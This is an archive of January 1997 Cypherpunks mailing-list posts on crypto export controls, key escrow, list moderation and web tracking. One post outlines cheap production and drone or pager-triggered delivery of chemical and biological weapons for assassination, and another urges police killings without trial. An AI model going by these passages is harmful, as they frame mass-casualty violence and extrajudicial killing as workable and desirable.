At 20:06 27-01-97 -0500, Hettinga wrote:
>At 7:39 pm -0500 1/26/97, blanc wrote:
>>p.s.   I be femme
>        ^^^^^^^^^^
>
>Franconics...

Or Lesbonics of course,

Skol,
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 29 Jan 1997 23:30:58 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970129112620.30306D-100000@dhp.com>
Message-ID: <32F04DF0.2D92@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > aga wrote:
> > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > > > But seriously, I was just telling the folks over the weekend, if I
> > > > > > had my hand on the button, a lot of people would die very quickly.
> > > > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > > > suffice to be immediately terminated.
> > > No trial, huh?
> > Good question.  The law we have right now already assumes that there
> > are situations where a criminal will not go peacefully, if at all.
> > In some countries (years ago?) such as England, bobbies were known
> > to not carry firearms for ordinary street duty.  Am I right?  But
> > here in the USA, that would be unthinkable.
> > So my proposal doesn't eliminate the responsibility portion of law
> > enforcement.  I'd say, if a target were eliminated thru negligence,
> > malfeasance, or other wrongdoing under "color of law" or whatever,
> > let the courts handle that as they do now.
> Just who is doing the eliminating?
> > My suggestion would give the law enforcers the ability to dispense
> > the first level of justice expeditiously, which they cannot accomplish
> > now due to all of the red tape and the corrupt legal system (lawyers
> > specialize in getting chronic offenders off, particularly "traffic"
> > offenses).  By transferring a major portion of the bureaucracy to
> > the pencil pushers, we can free up the street cops to do what they
> > do best, namely bust or eliminate criminals.

> Cops can never be trusted to "dispense justice," and half of the
> cops are themselves criminals in what they do.  Most cops steal
> evidence and lie like crazy in Court.  All they want is a conviction,
> and it mattters not how it is obtained.

All true.  But I'm not suggesting the creation of anything new here.
Cops already carry guns and kill people.  All I'm suggesting is that
they be empowered to kill when:
1) The crime is aggression against another person or persons;
2) The evidence is so solid (recorded?) that the officer (who risks
   being prosecuted if he kills unjustifiably) can carry out the
   enforcement without undue apprehension;
3) These things are reviewed by the elected representatives of the
   people, to make sure there's no hanky-panky going on.

> > I dare say that the downside of this is much less pleasant than the
> > virtual anarchy (in the bad sense) we suffer now.  If the police get
> > out of control, A.P. will arrive just in time to plug a few of those
> > holes, so to speak.  Ideally, future robotics should be able to
> > provide something like Gort (sp?) to take the place of human officers,
> > given advances in the kind of pattern matching needed to deter
> > aggression and the like.  Those who don't make it past the robots,
> > well, the rest of us can learn to behave, and we'll be much better
> > off when we do.
> 
> I would trust robots more than humanoids.

The Gort (sp?) robot is a perfect example, and I don't think it's
all that many years away.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 06:56:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292343.PAA16370@toad.com>
Message-ID: <syuB2D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> 	David Aaron seems to make lying out of his ass a hobby. His
> talk at the RSA conference was such a load of bullshit it wasn't even
> funny.

The above is a flame.  But because Sandy works for Sameer, it was posted
to the censores list, not tosses to "cypherpunks-flames".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 23:39:32 -0800 (PST)
To: Rick Hornbeck <rnh2@ix.netcom.com>
Subject: Re: The Politics of Export Restrictions
Message-ID: <3.0.32.19970129233036.00715ef8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:

>Is it possible the unreasonable crypto export restrictions are simply being
>imposed at this time for the purpose of making Al Gore look good when he
>runs for President in 2000?

I suppose it's plausible, but it's an opportunity open to both candidates,
and more plausibly (because of lack of collaboration) to the Republicans -
e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
to rescue Silicon Valley from those evil regulatory Democrats. 

If I were an evil politician trying to set up a trick like you suggest, I
think I'd want a scheme that my opponent(s) couldn't hijack and use against
me.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 30 Jan 1997 00:11:53 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701300036.QAA18048@toad.com>
Message-ID: <32F0579F.4DFE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
> >I think a hole in your thinking is to assume that the assasins have no
> >motive other than financial gain.  I would submit that there are those that
> >have the skills, training and a political agenda coherent with the
> >wagerers, lacking only the financial incentive to make the risks
> >acceptable.  These wetworkers won't consider accepting the bribe of the
> >rich/powerful

> This may be true, but the example was to show how easy a defensive line
> could be thrown up around the powerful.  For example, conventional body
> guards could be included, ones with no real pay but with the fore knowledge
> that they will be buried with the tyrant.  These body guards could be ten
> children out of each local village.  Merely a human shield.

[snippo]

In Prizzi's Honor, Nicholson sez "If you try to hide in a submarine on
the bottom of the ocean, we will find you".  But it's not even that
difficult.  Lob a missile into the place and blow it up.  Earth
penetrators are getting better too, for the Sadaam types.  And
there's a zillion more.  Does this "rich person" really want to
spend his/her life living in a sealed tomb?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 22:16:40 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: A comment on the censorship policy
In-Reply-To: <199701300447.FAA16712@basement.replay.com>
Message-ID: <32F0597A.49AA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> I cannot understand how some of my (accurate) criticisms of Sandfort's
> censorhip polices---some in direct response to his own self-serving posts
> declaring himself not to be a flamer himself---are not making it to the
> "New and Improved Censored List," while inane posts from Toto, Thorn, and
> someone named "Nurdane Oksas" are appearing.

Dear Mr. or Ms. Anonymous,
  It is extremely easy to understand. Just read your own words.
  The key word here is 'accurate' criticisms. This makes them 'flames',
in Sandy's mind, because the purpose of the 'censorship experiment'
was to place total control of the list in the hands of a man who
rarely posts and doesn't seem to participate in the list discussions,
as well as for the purpose of suppressing any real dissent that may
arise from list members.

  Also, one of the reasons that the moderation process is so 
haphazard, is that posts from some individuals are automatically
routed to the 'flames' list at some times, and viewed/censored
at other times, so that a few can be posted to the censored 
list to give some half-hearted illusion of fairness in the
censorship process. (which remains a bad joke, nonetheless).

 Thank you for using the word 'inane' to describe some of my 
posts. Most people aren't polite enough to drop the 's' when
using the word. (Not that it matters. Some individuals are 
automatically 'flame-approved' for the censored list.)

  Also, I wouldn't be too sure that the email you receive from
toad.com accurately reflects what is being posted to each list.
There are some funny things going on between 'incoming' and
'outgoing', and some of them are designed to make the process
obtuse, and hard to follow.

> has the especially annoying habit of quoting entire posts and then
> appending a one-line piece of completely list-irrelevant fluff. Also,
> engaging in lovey-dovey posts with Vulis, who writes messages about how he
> longs to see Oksas naked.)

  Try deleting the irrelevant parts before printing out the parts about
seeing Nurdane naked. That will save you time, and get you to the
bathroom quicker.
 
> This whole process is showing the worst of Sandfort's censorship policy.

  I think that you are being overly kind, once again, in suggesting 
that there really is a 'policy'. It's more like a crapshoot (pardon
the pun), where the spots on the dice change at his personal whim.
 
Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Wed, 29 Jan 1997 22:01:17 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: A comment on the censorship policy
In-Reply-To: <199701300447.FAA16712@basement.replay.com>
Message-ID: <Pine.SOL.3.93.970130003802.12600A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Anonymous wrote:
> I cannot understand how some of my (accurate) criticisms of Sandfort's
> censorhip polices---some in direct response to his own self-serving posts
> declaring himself not to be a flamer himself---are not making it to the
> "New and Improved Censored List," while inane posts from Toto, Thorn, and
> someone named "Nurdane Oksas" are appearing.

	WEll....that's not so bad ;)
	
> (Oksas has the especially annoying habit of quoting entire posts and then
> appending a one-line piece of completely list-irrelevant fluff. Also,
	Is it so annoying...? why did you read it to that point??? :)
	Why could you not be so anonymous and tell me?  My posts are
	a bit brief; Blancs' are far better, next time read hers.

> engaging in lovey-dovey posts with Vulis, who writes messages about how he
> longs to see Oksas naked.)

	Huh??  You are being a 'fluff' here ;)
	
> This whole process is showing the worst of Sandfort's censorship policy.
> 
> (If this is dumped into the "Not suitable for Cypherpunks to read" list, I
> urge those of you who see it to pass it on to the main list.)

> 
> END
> 
> --
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 30 Jan 1997 01:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291411.JAA01361@raptor.research.att.com>
Message-ID: <3.0.1.32.19970130014152.0064ff48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 1/29/97 -0500, Dan Geer wrote:
>Steve is absolutely right on the money, particularly about the likely
>happiness on the government side.

I pretty much agree.  On the other hand, Ian did a nice job on the
radio (NPR, probably was All Things Considered) of pushing the
"look, if a college student can break 40 bits in a couple of hours,
it's really stupid for the government to limit us like this";
a couple of other people also contributed spin, and it came out
pretty strongly against export restrictions.

I think we do need to get some sort of push going for 3DES as a
replacement for DES - it's strong enough, even though DES is showing
its age, and it's an obvious transition from the current technology.
It's slower and clunkier than IDEA or RC4/128, but still not bad.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Wed, 29 Jan 1997 23:46:52 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Sovreign Right of Lawful Access
In-Reply-To: <199701300710.XAA25411@toad.com>
Message-ID: <32F051A0.45C3@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> I see no reason to believe that the advent of telephone technology 
> in the late 1800's should have retroactively re-written the US 
> Constitution ...

This point, unfortunately, seems to be lost in the woods.  At the
panel discussions in this conference, so many people used phrases
like "... law enforcement doing what they need to do..." on *both*
sides of the GAK fence.  "Need" to do?  Well, they might "need" to
do lots of things under their own view of reality, but that doesn't
mean it's reasonable to negotiate towards that position.  Why is
it that just because one party shows up with a wacked-out agenda that
the "honorable" thing to do is work towards a consensus solution?

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Mutatis Mutantdis)
Date: Wed, 29 Jan 1997 18:01:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701300223.VAA12817@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 29 Jan 1997 17:33:41 -0500, you wrote:

>If I had experience with Netscape plugins and spare time, I'd
>try it myself.  But here's my proposed solution.  

>A plugin in Netscape intercepts all requests,  encrypt the URL
>with a pubkey algorithm, encode the string base64, send it as GET input to
>a proxy server.

>The proxy server decodes and decrypts the URL, gets the requested page,
>and returns it.  This beats out URL-based filtering.

Depends who is doing the filtering? If it's mom and dad keeping you from
looking at naughty pix, maybe.

If it's the gov't keeping you from looking at subversive sites, maybe not:
they'll go out of their way to block such proxies, and in some countries you
could get in hellish trouble for owning such a plug-in.

Rob






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Jan 1997 21:11:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: A comment on the censorship policy
Message-ID: <199701300447.FAA16712@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




I cannot understand how some of my (accurate) criticisms of Sandfort's
censorhip polices---some in direct response to his own self-serving posts
declaring himself not to be a flamer himself---are not making it to the
"New and Improved Censored List," while inane posts from Toto, Thorn, and
someone named "Nurdane Oksas" are appearing.

(Oksas has the especially annoying habit of quoting entire posts and then
appending a one-line piece of completely list-irrelevant fluff. Also,
engaging in lovey-dovey posts with Vulis, who writes messages about how he
longs to see Oksas naked.)

This whole process is showing the worst of Sandfort's censorship policy.

(If this is dumped into the "Not suitable for Cypherpunks to read" list, I
urge those of you who see it to pass it on to the main list.)

END

--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 30 Jan 1997 04:50:17 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: The Politics of Export Restrictions
In-Reply-To: <199701300855.AAA27401@toad.com>
Message-ID: <Pine.GSO.3.95.970130074522.17125B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Agreed. It's the Republicans who are the most adamantly pro-crypto. They'd
love to use it as a noose to hang Gore in 2000. If Gore switches positions
-- which I think unlikely -- it'll just be another area where both parties
agree. A minor point: since Gore has been the chief crypto-critic of this
administration, if he switched he'd leave himself open to charges of
waffling. 

Then again, some administration officials tell me they expect this debate
to be resolved within a year, so go figure.

-Declan


On Wed, 29 Jan 1997, Greg Broiles wrote:

> At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
> 
> >Is it possible the unreasonable crypto export restrictions are simply being
> >imposed at this time for the purpose of making Al Gore look good when he
> >runs for President in 2000?
> 
> I suppose it's plausible, but it's an opportunity open to both candidates,
> and more plausibly (because of lack of collaboration) to the Republicans -
> e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
> to rescue Silicon Valley from those evil regulatory Democrats. 
> 
> If I were an evil politician trying to set up a trick like you suggest, I
> think I'd want a scheme that my opponent(s) couldn't hijack and use against
> me.
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | 
> http://www.io.com/~gbroiles | Export jobs, not crypto.
>                             | 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Thu, 30 Jan 1997 07:59:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Politics of Export Restrictions - Clarified
Message-ID: <3.0.1.32.19970130075821.00689c60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I agree the strategy would have to be hijack-proof.  Something like Gore
experiencing a convenient "change of heart" towards the end of this current
term and convincing Clinton and the administration to soften crypto export
restrictions which would make Gore look like a hero to the high-tech
community just in time for the election. Naturally this would have to be
carefully scripted but the objective would be to keep the democrats in power.

Just a theory.



>Return-Path: <owner-cypherpunks@toad.com>
>Date: Wed, 29 Jan 1997 23:43:43 -0800
>From: Greg Broiles <gbroiles@netbox.com>
>To: Rick Hornbeck <rnh2@ix.netcom.com>
>Cc: cypherpunks@toad.com
>Subject: Re: The Politics of Export Restrictions
>Sender: owner-cypherpunks@toad.com
>
>At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
>
>>Is it possible the unreasonable crypto export restrictions are simply being
>>imposed at this time for the purpose of making Al Gore look good when he
>>runs for President in 2000?
>
>I suppose it's plausible, but it's an opportunity open to both candidates,
>and more plausibly (because of lack of collaboration) to the Republicans -
>e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
>to rescue Silicon Valley from those evil regulatory Democrats. 
>
>If I were an evil politician trying to set up a trick like you suggest, I
>think I'd want a scheme that my opponent(s) couldn't hijack and use against
>me.
>
>--
>Greg Broiles                | US crypto export control policy in a nutshell:
>gbroiles@netbox.com         | 
>http://www.io.com/~gbroiles | Export jobs, not crypto.
>                            | 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Thu, 30 Jan 1997 05:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
Message-ID: <199701301339.IAA24380@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


 According to Duncan Frissell <frissell@panix.com>

> "In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the
{snip}
> "When I talk to other governments," he said, "they still don't feel...


===(mis)quoted, paraphrased, and enhanced from current news reports===

The Clinton administration's newly named point man on encryption policy is citing
international support for U.S. policies limiting use of encryption and called for
industry cooperation. 

Speaking to the RSA Data Security Conference in San Francisco, David
Aaron said that U.S. allies support the concept of lawful access by
governments and the use of key recovery mechanisms. 

The White House's continued restrictions on encryption have been unpopular in the
cryptography community and among major U.S. corporations and high tech companies
because of the business disadvantage vis a vis foreign firms.

Aaron alleges that U.S. trading partners have misgivings about the 
U.S. government's decision in October to allow 'moderately strong' 56-bit encryption,
to be exported, under controlled circumstances, but were willing to cooperate on the
policy. 

"As far as I can see, the international encryption market will not be 
a free-wheeling affair," he said, adding companies should consider that 
lawful access and key escrow capabilities may become "a growthe 
industry"

In his speech, Aaron also listed cases where the U.S. government said 
encryption was used in terrorist plots, drug dealing, child pornography 
and espionage, adding the White House, "in no way seeks to expand law 
enforcement powers nor reduce the privacy of individuals." 

Independent experts strongly disagreed with Aaron's characterization of the
international posture following his address here, and leading U.S. legislators
said they would continue to push for further reform of the restrictions. 

"I just don't think it will work," Sen. Conrad Burns, a Montana 
Republican who has been behind the legislative effort to promote use 
of stronger levels of encryption, said of the White House encryption 
policy. 

"I think if bad people want to do bad things to good people, they 
certainly won't want to file their key (with any law enforcement 
authorities)," Burns said in a satellite conference.

Marc Rotenberg, director of the Washington, D.C.-based Electronic 
Privacy Information Center, rebutted Aaron's suggestion that 
Washington has broad international support for its concept of lawful access by 
governments to the keys to encrypted files and communications. 

Rotenberg said at the recent Organization of Economic Cooperation and 
Development (OECD) meetings on encryption policy, that was not the 
case, nor were a number of countries pushing for stronger controls, as 
Aaron said they had been. 

Germany, Australia, Japan and Canada all are advancing competing cryptography 
capabilities, according to Rotenberg.

Thomas M. McGhan
tmcghan@gill-simpson.com
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 30 Jan 1997 09:17:15 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Fighting the cybercensor
Message-ID: <v02140b00af168832dc98@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Sean Roach wrote:
>> At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>> >I think a hole in your thinking is to assume that the assasins have no
>> >motive other than financial gain.  I would submit that there are those that
>> >have the skills, training and a political agenda coherent with the
>> >wagerers, lacking only the financial incentive to make the risks
>> >acceptable.  These wetworkers won't consider accepting the bribe of the
>> >rich/powerful
>
>> This may be true, but the example was to show how easy a defensive line
>> could be thrown up around the powerful.  For example, conventional body
>> guards could be included, ones with no real pay but with the fore knowledge
>> that they will be buried with the tyrant.  These body guards could be ten
>> children out of each local village.  Merely a human shield.
>
>[snippo]
>
>In Prizzi's Honor, Nicholson sez "If you try to hide in a submarine on
>the bottom of the ocean, we will find you".  But it's not even that
>difficult.  Lob a missile into the place and blow it up.  Earth
>penetrators are getting better too, for the Sadaam types.  And
>there's a zillion more.  Does this "rich person" really want to
>spend his/her life living in a sealed tomb?

Yep. Chemical Biological Weapons (CBW), the choice of many future
terrorists and assassins, can now be produced by anyone with a solid
background in organic chemistry or microbiology and a relatively modest
amount of funding (< USD 10,000).

Delivery can be by any number of means, including: static (e.g., planted at
a location in wait for the target and remotely triggered, for example by a
pager. Cost less than USD 500) or dynamic (e.g., a small remotely piloted
or autonomous aircraft, for example, a modified giant-scale RC plane.  Cost
less than USD 3000 if remotely controlled, USD 5000-10,000 if autonomous
using DGPS guidance).  EE experience is assumed.

If the assassin is unconcerned with collateral damage his success depends
only on knowing where his target will be and when.  Since CBW agents can
have a considerable kill zone there is no need for 'crosshair' accuracy.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 30 Jan 1997 09:28:49 -0800 (PST)
To: wiseleo@juno.com (Leonid S Knyshov)
Subject: Re: Altavista
In-Reply-To: <199701300610.WAA24295@toad.com>
Message-ID: <199701301727.JAA30040@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Leonid S Knyshov writes:
 
[about targeted webvertising using stats gathered by tracking browsers]

 
> I think it is a good idea, no wonder doubleclick.net is one of the
> leaders in advertising. You are shown only the ads that will potentially
> interest you, search for shopping and you are gonna get one of those ISN
> ads etc. 
> 
> I think it is a good idea FWIW.
> 
> I wouldn't think that a company such as doubleclick.net will do you any
> harm.

Probably not.  But the practice still bothers me.  _I_ want to control
what information about me others can have.  I do not want the precedent
set that on the Net, what you do is trackable by every organization
who might care.  Sooner or later someone _would_ use that information to
hurt me.

That's why I wrote cookie jar, a program that lets the user have better
control over which 'cookies' if any they release to web servers, and
what other information their browser gives out.  See
http://www.lne.com/ericm/cookie_jar/ for details and code.


> >Interestingly, I've just noticed over the last couple of days that the 
> >in-line
> >ads are directly relevant to the search words I enter. I did a search 
> >yesterday
> >on "Quicken" and "security" and all the in-line ads I was shown 
> >referred to
> >security or penetration detection products.


This doesn't bother me as much (besides the fucking ads, which I
hate... maybe I'll make cookie jar smart enough to nuke them).
The reason is that the ads are selected based on what you typed in
to the search engine right then- there's no tracking involved like
with Doubleclick.



-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Thu, 30 Jan 1997 06:46:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_3.html
Message-ID: <199701301448.JAA11209@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
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   Wednesday January 29 3:26 PM EST 
   
U.S. Encryption Envoy Seeks Industry Cooperation

   SAN FRANCISCO - The Clinton administration's newly named point man on
   encryption policy is citing international support for U.S. policies
   limiting use of encryption and called for industry cooperation.
   
   Ambassador David Aaron, special envoy for cryptography, said on a
   speech to the RSA Data Security Conference in San Francisco that U.S.
   allies support the concept of lawful access by governments and the use
   of key recovery mechanisms.
   
   Key recovery would involve storing encoding keys in escrow so
   authorities could get access to them to unscramble data in an
   emergency, such as to uncover criminal activity.
   
   The White House's continued restrictions on encryption have been
   unpopular in the cryptography community and among major U.S.
   corporations and high tech companies, which argue the limitations put
   U.S. business at a disadvantage.
   
   Aaron said some U.S. trading partners have misgivings about the U.S.
   government's decision in October to relax U.S. export controls to
   allow export of moderately strong 56-bit encryption, but were willing
   to cooperate on the policy.
   
   "As far as I can see, the international encryption market will not be
   a free-wheeling affair," he said, adding companies should consider
   that lawful access and key escrow capabilities may become "a growing
   international requirement."
   
   In his speech, Aaron also listed cases where the U.S. government said
   encryption was used in terrorist plots, drug dealing, child
   pornography and espionage, adding the White House, "in no way seeks to
   expand law enforcement powers nor reduce the privacy of individuals."
   
   But some independent experts who monitor cryptography policy disagreed
   with Aaron's characterization of the international posture following
   his address here, and leading U.S. legislators said they would
   continue to push the White House to further liberalize the
   restrictions.
   
   "I just don't think it will work," Sen. Conrad Burns, a Montana
   Republican who has been behind the legislative effort to promote use
   of stronger levels of encryption, said of the White House encryption
   policy.
   
   "I think if bad people want to do bad things to good people, they
   certainly won't want to file their key (with any law enforcement
   authorities)," he told conference attendees over a satellite linkup.
   
   Burns appeared in the linkup with three legislative colleagues to
   stress that together they would push to put "get the administration
   out in front of the cryptography curve."
   
   Marc Rotenberg, director of the Washington, D.C.-based Electronic
   Privacy Information Center, rebutted Aaron's suggestion that
   Washington has broad international support for its concept of lawful
   access by governments to the keys to encrypted files and
   communications.
   
   Rotenberg said at the recent Organization of Economic Cooperation and
   Development (OECD) meetings on encryption policy, that was not the
   case, nor were a number of countries pushing for stronger controls, as
   Aaron said they had been.
   
   In fact, countries such as Japan, Germany, Australia and Canada all
   have competing cryptography capabilities they are promoting, he added.
   
   The OECD guidelines are due to be published next month.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
   Earlier Related Stories
     * Encryption Export Bill Backed In Senate - Wed Jan 29 9:54 am
       
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    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 30 Jan 1997 07:13:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: KOW_tow
Message-ID: <1.5.4.32.19970130150747.006ba560@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-28-97:

"New Crypto Engines From Trusted Information Systems Allow Easy
International Use of Strong Encryption "

  By supporting any application that calls for the use of algorithms such 
  as DES, Triple-DES, or 128-bit RC2 or RC4, "this product will allow 
  Windows users to use encryption as easily as they use a mouse. 
  Previously, if developers wanted to use encryption in their products, they 
  had to consider writing two different versions, dealing with changing 
  export regulations, and so on. Now, they can write one version of the 
  program and sell it worldwide, knowing that the CSP will handle the 
  encryption legally and safely."

"Two Companies Set to Offer Key Recovery Services Using Technology
from TIS "

  SourceKey and Data Securities International (DSI) have applied
  for approval to operate Key Recovery Centers to support
  exported encryption products. TIS also announced today that it is in 
  negotiations with  the National Computing Centre, Ltd. of the U.K. and 
  Philips Crypto BV of the Netherlands to license the first non-U.S.-based 
  Key Recovery Centers for third party use.

"Burns Prepares To Reintroduce Encryption Bill"

  "This time around," Burns said, "we intend to put a bill on the
  President's desk and find out if he is truly on the side of the
  users and providers of rapidly expanding high-tech goods and
  services." It would prohibit a mandatory system under which
 producers or users of hardware and software would be required
 to surrender a decoding "key" to a third party.

-----

KOW_tow





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 08:38:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701300510.VAA23055@toad.com>
Message-ID: <R8Nc2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> Dr.Dimitri Vulis KOTM wrote:
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > >
> > > Why, death of Jim Bell from his own murder machine is a very exciting, I
> > > would say a very Kafkian thing to happen. I am looking forward to it. I
> > > even think that Jim Bell would not oppose such an outcome that much,
> > > since his assination bot would be such an important invention for the
> > > humanity. Maybe it will reverse the course of world history!
> > 
> > Igor, you keep misspelling "assassination" as in "talk.politics.assassinati
> > an unmoderated Usenet newsgroup carried by all honorable Usenet providers.
> 
> No, I knew what was the correct spelling, but I like the shorter one
> more. It sounds funny to me.
> 
> 	- Igor.
> 

It looks like Igor has made it to Sandy's list of "flamers" whose every
submission is procmailed to "cypherpunks-flames". The above quote is
crypto-relevant (as is assassination politics) and contains no flames.
it was tossed into "cypherpunks-flames" by a robot. The time stamps
clearly show that Sandy didn't even look at it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Thu, 30 Jan 1997 10:08:57 -0800 (PST)
To: atb@purple.reddesign.com (Angooki Taipu)
Subject: Re: Cats Out of Bags
In-Reply-To: <v02130500ad33332cb5db@[204.179.134.109]>
Message-ID: <199701301831.KAA12660@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Remember, Aaron is employee of the government.  He talks in doublespeak,

	Aaron is employee of the government. Therefore he must lie.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




